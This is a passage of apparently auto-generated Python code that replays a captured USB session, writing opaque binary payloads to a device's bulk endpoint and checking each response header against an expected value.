b\"\\x95\\xAB\\x94\\x6F\\xF5\\xE6\\xFE\\x1D\\x64\\xE8\\x9E\\xDE\\xBB\\xAE\\x83\\xC7\"\n b\"\\xC0\\xD5\\x23\\xA1\\x35\\x3D\\xF1\\x6E\\x76\\x51\\x5B\\x77\\xD1\\xFC\\x42\\xFF\"\n b\"\\xAB\\x58\\x24\\x29\\x18\\x1B\\x26\\x22\\x79\\xAF\\x3B\\x44\\x35\\x0C\\x88\\xD7\"\n b\"\\x7D\\xAF\\x23\\xE2\\xF0\\x56\\x17\\x93\\x9A\\x59\\x9D\\x65\\x87\\x08\\x20\\x54\"\n b\"\\xEA\\x5D\\x24\\x84\\x41\\xD5\\xEF\\xEE\\x5C\\xC2\\x6C\\x62\\x8D\\x8A\\x36\\xCC\"\n b\"\\xB8\\x33\\xD7\\x4A\\x87\\xC4\\x97\\x76\\x3C\\x54\\xA5\\xA9\\x83\\x50\\x15\\xE6\"\n b\"\\x30\\xEF\\x3B\\xD2\\xC4\\x64\\xC7\\x05\\xCD\\x88\\x34\\x92\\xF5\\x05\\xFE\\x21\"\n b\"\\x6C\\xBF\\x82\\x71\\xC0\\x11\\xEF\\x15\\x41\\xF8\\xD2\\x14\\x20\\x30\\x9E\\x1E\"\n b\"\\x17\\x8B\\xAB\\x3C\\xE5\\xDA\\x13\\x46\\x40\\x66\\x7D\\xCA\\xA9\\x1A\\x02\\x0B\"\n b\"\\x89\\xD2\\x61\\x91\\x62\\x74\\x38\\x9A\\xF4\\xA2\\x48\\xA0\\xA2\\x0A\\xB4\\xD3\"\n b\"\\xE4\\x1F\\x89\\xDA\\x11\\x0E\\xA3\\x47\\xEC\\x04\\x95\\x70\\x83\\x7E\\x3E\\x4A\"\n b\"\\xD4\\xB9\\xAE\\x15\\x84\\xA5\\xD1\\xC0\\xDB\\xB8\\x06\\x71\\x76\\xBF\\xBD\\x18\"\n b\"\\xEA\\x18\\xC5\\x64\\xF1\\x7D\\x6E\\x96\\x7C\\xE0\\xD0\\x22\\xA6\\x77\\x54\\x2C\"\n b\"\\x2D\\xA1\\x1E\\xF1\\xA7\\x4D\\xC6\\xB4\\x9A\\x36\\x48\\x8B\\xA0\\x51\\xDF\\x1F\"\n b\"\\xCE\\x9F\\x3A\\xCB\\x0E\\xCA\\xD2\\xF6\\x13\\x9E\\x64\\xBF\\x3E\\x64\\x07\\x32\"\n b\"\\xB3\\x47\\x38\\xF2\\xDB\\x97\\x5E\\x8B\\x4A\\xD7\\xF1\\xE8\")\n # Generated from packet 1611/1612\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1611/1612\")\n # Generated from packet 1613/1614\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xF3\\xFD\\x6E\\x8B\\x76\\x6D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x73\\xFD\\x3C\\x93\\x40\\x49\\x52\\x25\"\n b\"\\x32\\x1A\\x88\\x38\\x93\\xAD\\xFD\\x29\\x47\\x38\\xB4\\x5E\\xBF\\x87\\x01\\x2D\"\n b\"\\xB1\\x11\\x5D\\xC0\\x32\\x61\\x23\\x37\\xD7\\x6C\\x02\\xF0\\xDE\\x0C\\xAE\\x68\"\n b\"\\x98\\xEE\\x0E\\x1A\\xD1\\x35\\xBF\\xAA\\x6A\\x2A\\x65\\x60\\x92\\x16\\x63\\xE8\"\n b\"\\x27\\xAB\\x9D\\x6C\\xB9\\x1E\\x8F\\xBD\\x8A\\xD8\\x17\\x85\\x85\\xF9\\xC4\\xDF\"\n b\"\\xDD\\x86\\x1F\\x53\\x88\\x9D\\x3F\\x87\\x0F\\x13\\x2A\\xED\\xDE\\x43\\x59\\xC6\"\n b\"\\xFC\\x52\\x89\\xA9\\x57\\xC3\\xC3\\x79\\xFD\\x5A\\x21\\xF5\\x5C\\x81\\xCA\\x90\"\n b\"\\xD5\\xC7\\xE2\\xCF\\xDE\\x99\\xEF\\x70\\x36\\xA4\\x29\\x87\\x28\\x7A\\xB6\\x0C\"\n b\"\\x12\\xE5\\x2D\\x3A\\x53\\x31\\xA4\\x84\\x48\\x48\\xE6\\x56\\x7E\\x9B\\xFF\\xF0\"\n b\"\\x4C\\x88\\xD5\\x23\\x11\\x09\\xA1\\x8A\\x27\\x9E\\x0A\\x61\\xD2\\xFF\\xA3\\x04\"\n b\"\\xA1\\xC0\\x1A\\xA6\\x1E\\x3E\\x04\\x18\\xA4\\xA0\\x84\\x1B\\x69\\xA9\\x0C\\x33\"\n b\"\\xB0\\xCB\\xEE\\x80\\x64\\x8B\\xEB\\x23\\x19\\x16\\xC8\\x84\\x20\\x78\\x4A\\xB5\"\n b\"\\xAD\\x28\\x8F\\x8D\\xFF\\x8A\\xD3\\x3D\\x0A\\xAD\\x47\\x05\\xAC\\xF3\\xC4\\x29\"\n b\"\\xEB\\x66\\x80\\xC9\\x08\\x7F\\x55\\xFC\\xD3\\x77\\xDA\\x71\\x2E\\xE4\\xA5\\x17\"\n b\"\\x53\\x3E\\x23\\x56\\x9A\\xEE\\x81\\x7B\\x84\\x9C\\x9A\\x90\\x50\\xEB\\x9D\\x7A\"\n b\"\\x5E\\x50\\xDB\\x11\\x4D\\x6D\\x81\\x23\\xDD\\x49\\x75\\x72\\x40\\xE2\\x4F\\x70\"\n b\"\\xE8\\xA1\\x30\\x20\\x89\\xA7\\xB4\\x1F\\xD0\\xED\\x6F\\x37\")\n # Generated from packet 1615/1616\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1615/1616\")\n # Generated from packet 1617/1618\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xD0\\x1F\\x28\\xAC\\x78\\x08\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xC1\\xE5\\x1F\\x76\\xA3\\x0B\\xE0\\x23\"\n b\"\\xF1\\x92\\x1B\\x7B\\x8C\\x4D\\x17\\x0B\\x70\\xEA\\x70\\x70\\x36\\xFD\\xD5\\x68\"\n b\"\\x5A\\x4F\\x6F\\x66\\x5B\\x85\\xE2\\x1C\\x7B\\x2F\\x62\\x47\\xFF\\xDC\\x81\\xE0\"\n b\"\\x88\\x7A\\x5A\\xF7\\xBD\\x00\\xFF\\xBF\\x84\\x33\\xB4\\xC5\\x25\\xFD\\x1F\\x15\"\n b\"\\x76\\x4A\\x0A\\xFE\\xAF\\x1E\\x76\\x22\\x4F\\x2F\\x49\\x10\\x23\\x76\\x17\\xEF\"\n b\"\\xFD\\xC9\\xBA\\x35\\xA0\\xD4\\x4A\\x81\\x69\\xD5\\xCC\\x89\\x1A\\x67\\x8B\\x4D\"\n b\"\\xB3\\xA6\\x74\\x7E\\x5D\\x89\\xD5\\x97\\xA5\\x9F\\xF8\\xA3\\x60\\x23\\xB2\\xCC\"\n b\"\\xC5\\x9A\\x6D\\x2E\\xFE\\x12\\x41\\xA4\\x54\\xBD\\x46\\x81\\xF2\\x91\\x04\\xF2\"\n b\"\\x20\\x39\\xC3\\x12\\x64\\xB4\\x76\\x84\\x96\\xCD\\xFC\\x41\\xF0\\x92\\xD8\\xEF\"\n b\"\\xDC\\xDA\\x26\\x7F\\x96\\x62\\x84\\x0F\\xA1\\xC2\\x1A\\x35\\xFB\\x23\\x41\\x4E\"\n b\"\\x17\\xA6\\x6B\\x2D\\x36\\xE0\\xCA\\x2A\\x8D\\xDF\\x47\\xF8\\xDD\\x95\\xAD\\xE3\"\n b\"\\xC3\\xE9\\x9E\\x23\\xEE\\xAD\\x8A\\xAB\\xD0\\xF9\\x51\\x67\\x2F\\x3E\\x97\\x10\"\n b\"\\x2B\\xF8\\x28\\x23\\x2C\\xBE\\xE9\\x64\\x3B\\x02\\x17\\x53\\x36\\x5D\\xD2\\x88\"\n b\"\\x38\\x42\\x54\\xC4\\x46\\xA2\\xC1\\xCE\\x86\\x0F\\x50\\x50\\x87\\xC3\\x02\\x7E\"\n b\"\\x5A\\xE3\\xF6\\x9A\\x67\\x3C\\xC3\\xE1\\x1F\\x09\\x26\\x4E\\xB3\\x61\\x43\\xD8\"\n b\"\\x81\\x8E\\x20\\xC8\\xCF\\x35\\x23\\x9F\\x91\\x29\\x73\\x33\\x4A\\x99\\x9E\\xA0\"\n b\"\\xFB\\x26\\x77\\x74\\x57\\x10\\xF7\\x38\\x3E\\xA4\\x6C\\xB5\")\n # Generated from packet 1619/1620\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1619/1620\")\n # Generated from packet 1621/1622\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x8F\\xCD\\x0D\\xDA\\xC2\\x36\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x3E\\xFE\\xA5\\x83\\xB2\\x0B\\x9E\\xF4\"\n b\"\\x9C\\x34\\x79\\x0B\\xB5\\xC0\\x79\\xED\\x16\\xBB\\xCA\\x03\\x28\\x3D\\x64\\xF7\"\n b\"\\x97\\xF8\\xAE\\x9C\\xCF\\x27\\x81\\x5E\\xED\\xAE\\xE2\\xC5\\x61\\x29\\x15\\x55\"\n b\"\\xCA\\x1C\\x5C\\x48\\x77\\x41\\xA8\\x83\\x1B\\x80\\x38\\xF4\\xFB\\x62\\xD7\\xA9\"\n b\"\\xA3\\xBA\\x79\\x43\\xB3\\x03\\x2A\\xE8\\x17\\x97\\xF3\\xF5\\x15\\xA2\\xE4\\x76\"\n b\"\\xF5\\xEE\\xF6\\xA2\\x24\\xA2\\x9B\\x62\\x9E\\xAC\\x4E\\x1A\\x1F\\xE5\\x15\\x60\"\n b\"\\x68\\x6A\\xD0\\xF0\\x8D\\xDE\\xA9\\x74\\x0D\\x9C\\x69\\x28\\x51\\xB1\\xEE\\xDE\"\n b\"\\x61\\x4A\\xDE\\xC7\\xE4\\xA6\\x5B\\x37\\x94\\xDC\\xDA\\xF0\\x44\\xCE\\x0D\\x28\"\n b\"\\xF7\\xC6\\x23\\x21\\x41\\x84\\x9E\\xAE\\x6B\\xDF\\x89\\xD4\\xB1\\x4D\\x64\\xCA\"\n b\"\\x81\\xE2\\xC7\\x8E\\x02\\xF8\\x45\\xBC\\x85\\xE9\\x13\\x3E\\x39\\xA6\\xAC\\x81\"\n b\"\\x27\\x84\\x5E\\x43\\x09\\x9E\\xE2\\x64\\x94\\xE5\\x57\\x86\\x27\\x30\\x6C\\xD5\"\n b\"\\xA4\\x00\\x60\\xBD\\xBA\\xE4\\xA8\\x84\\x0D\\xE6\\x83\\xA5\\xB7\\x13\\x6D\\x5A\"\n b\"\\xA4\\xEC\\x8C\\x40\\x43\\x4C\\x85\\x74\\xFF\\x8B\\xE9\\x9D\\x02\\x31\\x1C\\x7B\"\n b\"\\x18\\x7E\\x71\\xFA\\x3B\\x45\\xFA\\xD7\\x92\\x9E\\xA0\\xF0\\xDC\\xC1\\x21\\x0B\"\n b\"\\xAD\\x37\\x52\\x4A\\x51\\x54\\x66\\x6C\\x69\\x58\\x48\\x0C\\x2A\\xBD\\x9B\\x10\"\n b\"\\x4A\\x6F\\x69\\x47\\x3B\\x5B\\x62\\x08\\x97\\xF1\\x68\\xD5\\x11\\x89\\xB1\\xEC\"\n b\"\\x23\\xF2\\x90\\x31\\xDE\\x27\\x6E\\xA7\\xFA\\x7B\\x37\\xE4\")\n # Generated from packet 1623/1624\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1623/1624\")\n # Generated from packet 1625/1626\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xE1\\x1C\\x71\\x05\\x63\\x49\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xBE\\xB5\\x57\\x3F\\xD7\\x7E\\x07\\x97\"\n b\"\\x16\\x5D\\xDF\\x4E\\xB1\\x9F\\xDB\\x66\\xF1\\xF3\\x21\\x17\\x99\\x9C\\xF5\\x9A\"\n b\"\\x3B\\xB6\\x6A\\xD3\\xA8\\x14\\x7D\\x3D\\xAC\\xE2\\x20\\xE9\\xB4\\x59\\x32\\x6A\"\n b\"\\x0C\\xC7\\xAD\\xFD\\x62\\x06\\x72\\x8F\\xB6\\x01\\xC5\\x95\\x21\\x80\\x53\\x75\"\n b\"\\x48\\x0B\\xCC\\xE6\\x2E\\x63\\x7D\\x3E\\x23\\x93\\xE1\\x8C\\x22\\xD4\\x10\\xDD\"\n b\"\\x51\\x64\\x30\\x9F\\xE2\\x7F\\xAD\\xA0\\x06\\xF5\\x7F\\x84\\x4C\\x6F\\x60\\x03\"\n b\"\\x17\\x1F\\x58\\xE9\\x6B\\xBA\\xE1\\x88\\x87\\xDE\\x66\\xFD\\xDF\\xAE\\x6E\\xDC\"\n b\"\\x0A\\xB1\\xBB\\x7D\\x76\\xAA\\xA2\\x35\\xCA\\x3A\\x36\\x0E\\x7D\\xA2\\xD1\\xA2\"\n b\"\\x7E\\xED\\xFF\\xD5\\x2C\\x90\\x0C\\x4A\\x5F\\xCD\\x4E\\xAE\\xD0\\x98\\x0F\\xE3\"\n b\"\\x3E\\x76\\xA1\\x9A\\x49\\xF9\\x26\\xCB\\x73\\xFA\\x69\\x8C\\x9A\\xFA\\x24\\x6D\"\n b\"\\xCD\\x14\\x5B\\xF1\\x9B\\xAB\\x19\\xBE\\x66\\xF4\\x8F\\x83\\xB3\\xF9\\x79\\x50\"\n b\"\\x4E\\xAB\\x86\\x6C\\x99\\xDF\\xE6\\x8A\\x04\\x95\\x76\\x3F\\x58\\x5D\\x7B\\xF8\"\n b\"\\xCA\\xE9\\xE5\\x98\\xE6\\x12\\x97\\x93\\x25\\x21\\xBF\\xDF\\x8F\\x1E\\x83\\xDE\"\n b\"\\x1A\\x44\\x13\\x54\\x14\\x2A\\x5B\\x82\\x86\\x51\\x10\\xCF\\x14\\x2D\\x38\\x95\"\n b\"\\x15\\x27\\x13\\xB0\\x63\\x1E\\x9B\\x9F\\xA8\\x9B\\x49\\xE9\\xCE\\x57\\x43\\xE9\"\n b\"\\x8D\\x9D\\xD2\\xFD\\x5E\\x9E\\xD3\\x9E\\x49\\x86\\x1C\\x3B\\x79\\x15\\x69\\xBC\"\n b\"\\x8E\\x0B\\xD7\\x76\\x8B\\x04\\x47\\xF8\\x2C\\xD0\\xCD\\x17\")\n # Generated from packet 1627/1628\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1627/1628\")\n # Generated from packet 1629/1630\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x70\\x46\\x31\\x3B\\xB1\\x26\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x73\\x73\\x0F\\x35\\x13\\x9F\\xA6\\x78\"\n b\"\\xD1\\x1B\\xAA\\x57\\x7D\\xAE\\x6B\\xF2\\xAA\\x3A\\x22\\x37\\xE4\\xD7\\xAD\\x94\"\n b\"\\xB5\\x32\\x9F\\x16\\x3F\\x2C\\x52\\x38\\x3F\\x42\\x21\\x05\\xA7\\x92\\xD1\\x2F\"\n b\"\\x08\\x40\\xDE\\x21\\x4F\\xF9\\x82\\x8D\\xBF\\xA3\\x8F\\x17\\x59\\x56\\x0E\\x1A\"\n b\"\\x37\\x5B\\xFC\\xA6\\xFF\\x42\\x92\\xDD\\x18\\x8D\\x33\\x97\\x29\\x21\\xE1\\xA8\"\n b\"\\xB5\\x95\\xD2\\x60\\x49\\x9E\\x61\\x93\\x1F\\x99\\xAE\\xDE\\xF3\\x27\\x60\\xB8\"\n b\"\\x05\\xC6\\x94\\xA9\\x3D\\xD0\\xB3\\xE7\\x1A\\x74\\xCA\\xE6\\xB9\\xCF\\xFC\\x19\"\n b\"\\x20\\x54\\xD3\\xD6\\xC1\\x1F\\xE3\\xEB\\xDC\\xF3\\x4A\\xED\\xA2\\x5C\\x23\\x79\"\n b\"\\x30\\xAE\\x93\\x70\\x0A\\x28\\x2B\\x70\\x05\\x2F\\xEA\\xB8\\x2F\\xA4\\xD0\\x3C\"\n b\"\\xDF\\xD9\\x71\\xB7\\xB2\\x25\\x76\\x95\\xBB\\x34\\x3D\\xAB\\x4D\\x11\\x44\\x8C\"\n b\"\\xD6\\x43\\x40\\xB3\\x9F\\xC8\\x67\\x7D\\x96\\xD5\\x61\\x89\\x54\\x3F\\x64\\xB3\"\n b\"\\x82\\xB0\\xAF\\x92\\x57\\x49\\xAE\\xD3\\xF2\\x63\\xAF\\x8E\\x89\\xA0\\xA5\\x50\"\n b\"\\x79\\x7B\\x57\\xC8\\xED\\xD8\\xA6\\xA7\\xAF\\x7C\\x89\\x72\\xBB\\x97\\xCB\\x61\"\n b\"\\xC5\\xF1\\x6C\\x40\\x52\\xEC\\xDE\\x93\\xA6\\x67\\xD6\\x33\\xB7\\x18\\x92\\x8D\"\n b\"\\x68\\x9F\\xCC\\xE5\\x0A\\x59\\xCE\\x1F\\x6B\\x2F\\x38\\xAD\\x37\\xBD\\xFD\\xE2\"\n b\"\\x99\\xC2\\xE3\\x91\\x82\\x57\\x9B\\x5A\\xA8\\x80\\x89\\x1F\\x22\\x69\\xDA\\x09\"\n b\"\\x8E\\xA4\\xDC\\x5D\\xD7\\xE0\\x56\\x83\\x12\\x74\\x71\\xA0\")\n # Generated from packet 1631/1632\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1631/1632\")\n # Generated from packet 1633/1634\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x0D\\xD9\\x74\\xB1\\x26\\x46\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x15\\xF8\\xFF\\xC3\\x38\\x1E\\x06\\x10\"\n b\"\\x85\\xDC\\x20\\x3E\\x87\\x9D\\x03\\x19\\x04\\x2C\\x0A\\x1D\\x81\\xBC\\x4D\\x89\"\n b\"\\x6B\\x22\\x7D\\x31\\xFA\\x09\\xCE\\xDC\\xE0\\xE9\\x1D\\xF3\\x11\\xCF\\x16\\xC2\"\n b\"\\xBD\\xFC\\x5A\\xCA\\xA8\\x58\\xAD\\x7E\\xED\\x5E\\x0F\\x0D\\xE9\\x7A\\xA1\\x4F\"\n b\"\\xC1\\xCB\\x6A\\xD4\\x21\\xB8\\x98\\x5D\\x5A\\xE5\\xBE\\x8E\\xE8\\x6E\\xE6\\x49\"\n b\"\\xC8\\xB7\\xDF\\x9E\\x7D\\x0B\\xC2\\x6F\\xEB\\x3B\\x94\\x85\\x42\\xBA\\x7B\\xB0\"\n b\"\\xD2\\x5D\\x88\\x5D\\x86\\x64\\x77\\x61\\x60\\x03\\x89\\xDA\\xA0\\x16\\xFA\\x6B\"\n b\"\\x78\\x3C\\xC3\\xE8\\x19\\x4F\\x8E\\xA0\\x9E\\x42\\x99\\x23\\xB6\\xEE\\x51\\x24\"\n b\"\\x88\\x8D\\xDB\\xF7\\x03\\xD2\\x6D\\x2E\\x3E\\x47\\x59\\x80\\xB8\\x85\\xF6\\xEE\"\n b\"\\x04\\x9F\\x56\\x6A\\x83\\x41\\x78\\x98\\x64\\x81\\xDD\\xFC\\xB0\\xD1\\xD4\\x05\"\n b\"\\x53\\x8A\\x7A\\x45\\x91\\x23\\x37\\x74\\xD2\\x21\\x1E\\x27\\xF5\\xB7\\x8E\\x24\"\n b\"\\x32\\xF0\\x7C\\xCC\\x41\\xC7\\x42\\xA1\\x20\\xFD\\xAA\\x4F\\x76\\xAA\\xD3\\xFA\"\n b\"\\x36\\xD4\\x70\\x35\\x6E\\xF4\\x14\\x9B\\xBA\\xDA\\x34\\x5B\\x84\\x8E\\xD9\\xFB\"\n b\"\\xA0\\xBF\\xF3\\x92\\x57\\x04\\x0E\\xEF\\x76\\x17\\x01\\x29\\xD6\\x4A\\x7F\\xDA\"\n b\"\\xEB\\xB0\\xBA\\xA8\\xE9\\x0A\\xCE\\x64\\x9C\\xE3\\x8C\\x7C\\x40\\x9A\\x12\\xF8\"\n b\"\\xFC\\x05\\x8D\\xD0\\x23\\x7A\\x37\\x92\\xF1\\xFF\\x24\\x76\\x79\\x44\\x7B\\xFC\"\n b\"\\x83\\x9C\\x37\\xC0\\xAA\\xFB\\xDA\\x6B\\xF9\\xE1\\xC2\\xC3\")\n # Generated from packet 1635/1636\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1635/1636\")\n # Generated from packet 1637/1638\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xCC\\x86\\x96\\xB4\\xDF\\x1C\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x79\\xB4\\xA4\\xBE\\xB3\\xEB\\xAC\\xC9\"\n b\"\\xE0\\x0F\\xC0\\xF8\\x96\\x20\\x0B\\x42\\x19\\x60\\xC7\\xAC\\x0B\\xCC\\xC7\\x82\"\n b\"\\xAD\\xA7\\x18\\x6C\\x8F\\x53\\x71\\xC2\\x16\\x57\\xD9\\xE1\\xE9\\xAD\\x6A\\xCD\"\n b\"\\x99\\xF9\\xF8\\x88\\x54\\x1D\\x2A\\x9E\\xC8\\x40\\x48\\x9A\\xC0\\xB8\\x1B\\x45\"\n b\"\\x1C\\x3E\\xA5\\x13\\xE9\\xA6\\x7A\\x17\\xB1\\x64\\x3E\\x03\\x89\\x5D\\xB1\\xF6\"\n b\"\\x78\\x1B\\x21\\xF5\\x63\\x8B\\x1A\\xD0\\x5E\\xDB\\x51\\x40\\xB0\\xA5\\xCC\\x80\"\n b\"\\x86\\xAB\\xBF\\x8C\\x45\\x82\\xCB\\xB4\\xAD\\xC1\\xCD\\xBE\\xA5\\x77\\x40\\xC3\"\n b\"\\x99\\xE2\\x12\\xFA\\x75\\xAD\\xB3\\xB1\\x52\\x1E\\x20\\xFF\\xD9\\x1A\\x36\\x8C\"\n b\"\\x12\\xA0\\xAF\\x63\\x35\\xB9\\x01\\xA9\\xEB\\x35\\x63\\x6D\\x2F\\x6B\\xAC\\xAF\"\n b\"\\x39\\x04\\xE8\\x9B\\x3D\\x0E\\xBF\\x2E\\x81\\x5B\\x92\\x61\\x26\\x08\\x40\\xBD\"\n b\"\\x28\\x46\\xBC\\xA6\\x5C\\xA7\\xFF\\x8E\\x13\\x11\\xEB\\x6C\\x97\\x9A\\x4E\\xB0\"\n b\"\\x3E\\xC3\\xD6\\xB9\\xAA\\x20\\xD0\\xC6\\xDE\\xAA\\x4E\\x9A\\xC9\\x62\\x54\\xE0\"\n b\"\\x9C\\x5B\\x2E\\xFB\\xA2\\x7D\\xA1\\xB6\\x6A\\xB1\\x70\\xBC\\xD9\\x73\\xC8\\xF1\"\n b\"\\x41\\x9B\\x73\\x9A\\x39\\x31\\xEB\\x58\\x9D\\xFE\\x86\\xCC\\xA6\\x94\\x63\\x8A\"\n b\"\\x44\\x80\\x29\\x84\\x0D\\x0F\\x94\\x47\\x44\\x94\\xBA\\x8A\\xE0\\x12\\xB5\\xD2\"\n b\"\\x03\\x88\\x38\\x5F\\xE3\\x21\\xF1\\x6D\\xD4\\x80\\xEF\\x29\\x97\\x58\\x7F\\xA5\"\n b\"\\x4A\\x42\\x29\\x28\\x2F\\xEE\\xCA\\xC2\\x49\\x45\\xD4\\x77\")\n # Generated from packet 1639/1640\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1639/1640\")\n # Generated from packet 1641/1642\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x3A\\x77\\xC4\\x9C\\xDA\\x27\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x47\\x09\\x69\\xF3\\x4F\\x9B\\xB7\\x2D\"\n b\"\\x59\\xFE\\x48\\xD3\\xB9\\x31\\x55\\x2D\\x32\\xD3\\xA8\\xC8\\x4C\\xFD\\xA9\\xC9\"\n b\"\\xA8\\x9B\\xCC\\x6C\\xF1\\xA2\\x86\\xE1\\xE6\\x32\\x1D\\xFB\\x16\\x61\\x39\\x05\"\n b\"\\x02\\x15\\xD6\\x8E\\x23\\xB7\\xD1\\x0A\\xB1\\xE3\\x39\\xCA\\x41\\x5A\\x58\\x21\"\n b\"\\xA0\\x1A\\xA7\\xBC\\xB9\\x98\\xB7\\xB3\\x35\\x04\\x6A\\xD5\\x1E\\x8B\\x2D\\xA2\"\n b\"\\xAD\\xFB\\xBE\\xEA\\x3C\\x25\\x82\\xCD\\xBC\\x19\\xC6\\xB2\\xD0\\x52\\xAC\\x1E\"\n b\"\\xE5\\xD2\\x41\\x47\\x19\\x0D\\x29\\x87\\x04\\x8C\\x7C\\x13\\x6D\\xD3\\xC0\\x6F\"\n b\"\\x75\\xC7\\xEE\\xD0\\x99\\x43\\xB0\\x15\\xC5\\x8D\\xF2\\x98\\xD6\\x63\\x22\\x4D\"\n b\"\\x46\\x66\\x03\\x96\\x7D\\x14\\x71\\x9F\\xBB\\xDB\\x13\\x05\\xAF\\x12\\x2D\\xCA\"\n b\"\\x80\\x02\\x0D\\x82\\x6A\\xD9\\xC7\\x97\\x4E\\x92\\x87\\x87\\x77\\x06\\x69\\xDC\"\n b\"\\xF8\\xF7\\xC6\\x11\\x6F\\x53\\xFF\\x66\\xC0\\xA2\\x8D\\xAD\\x90\\xB3\\x37\\xE9\"\n b\"\\x9A\\x0F\\x27\\x22\\xDE\\x46\\x5C\\x96\\x75\\x42\\x02\\xEA\\x2D\\xAA\\xB3\\x4D\"\n b\"\\x54\\x76\\x1B\\xC9\\xB8\\x90\\xE3\\xE4\\x3F\\x31\\x01\\x5C\\x42\\x1A\\xD3\\x29\"\n b\"\\xEB\\xE1\\x95\\xF7\\x6D\\xAA\\x60\\x0C\\x7E\\x30\\xAF\\xF9\\x48\\x27\\x51\\x22\"\n b\"\\xC0\\xCC\\xA1\\x2B\\x0C\\xD4\\xBA\\xDF\\x04\\xBC\\xCF\\xB9\\x67\\xA3\\x4E\\x27\"\n b\"\\xEB\\x92\\xF7\\x06\\x68\\x2C\\xD2\\x9F\\xB6\\x82\\x4B\\x9C\\x12\\xAC\\x19\\x17\"\n b\"\\x1B\\x4F\\xE0\\xDF\\xE7\\x4E\\x3E\\x25\\xD6\\xCA\\x79\\x3D\")\n # Generated from packet 1643/1644\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1643/1644\")\n # Generated from packet 1645/1646\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xC5\\xEE\\xC7\\x1F\\x29\\x0E\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\x27\\xDF\\x18\\x82\\x00\\xD0\\x60\"\n b\"\\xFC\\x0F\\x58\\x3C\\x3E\\x1D\\x09\\xDB\\x6B\\x53\\x74\\x29\\xFA\\x23\\x88\\xBC\"\n b\"\\xBD\\x02\\xDA\\x39\\xA3\\xEC\\x84\\x5C\\x3D\\xDB\\x80\\x52\\xD8\\xEF\\xA8\\xB8\"\n b\"\\xDC\\x36\\xC1\\x20\\x71\\x8E\\x85\\x6F\\x0B\\x8E\\xED\\x37\\x47\\x70\\xF7\\x9F\"\n b\"\\xB1\\x2E\\xFA\\x59\\x71\\x09\\xC5\\x93\\x31\\x13\\x63\\x31\\x08\\xAE\\x5C\\x03\"\n b\"\\x78\\x66\\x4A\\x56\\x16\\x19\\x46\\x7F\\x2C\\x36\\x93\\xCA\\x1C\\x87\\xBD\\xC5\"\n b\"\\x66\\x43\\x55\\x57\\x23\\x3A\\x1D\\xD8\\x50\\x3D\\x65\\xFA\\x43\\xF9\\xE6\\xEF\"\n b\"\\xD7\\xBE\\xFF\\x21\\xF5\\x53\\x7A\\x60\\xC7\\x14\\x11\\x1E\\x02\\xE3\\x85\\xA2\"\n b\"\\xA8\\x7F\\xB4\\xD6\\x37\\x5B\\x56\\x1B\\x96\\xCC\\xDB\\x47\\xC8\\x64\\x61\\xC4\"\n b\"\\x82\\x24\\xF6\\x15\\x37\\xEC\\x19\\x3E\\x36\\x3D\\xDF\\x62\\x45\\x8D\\xDB\\x48\"\n b\"\\x1B\\xCF\\xD3\\xEC\\x87\\xB0\\x03\\xDF\\x64\\xC7\\x07\\x16\\xB2\\x63\\xEC\\xA0\"\n b\"\\x6A\\x2B\\xB6\\x0D\\x65\\x57\\x10\\x51\\xE2\\xF6\\xA0\\xB7\\xB3\\x13\\xA2\\xA9\"\n b\"\\x0E\\xC7\\x8F\\xC7\\x0C\\xF4\\x3B\\xA0\\x4E\\x26\\x43\\x35\\x87\\xBA\\x07\\x27\"\n b\"\\x1D\\xB1\\xFE\\xFC\\x5A\\x88\\x22\\x58\\xAC\\x77\\xEB\\x37\\xA4\\x34\\xE3\\x87\"\n 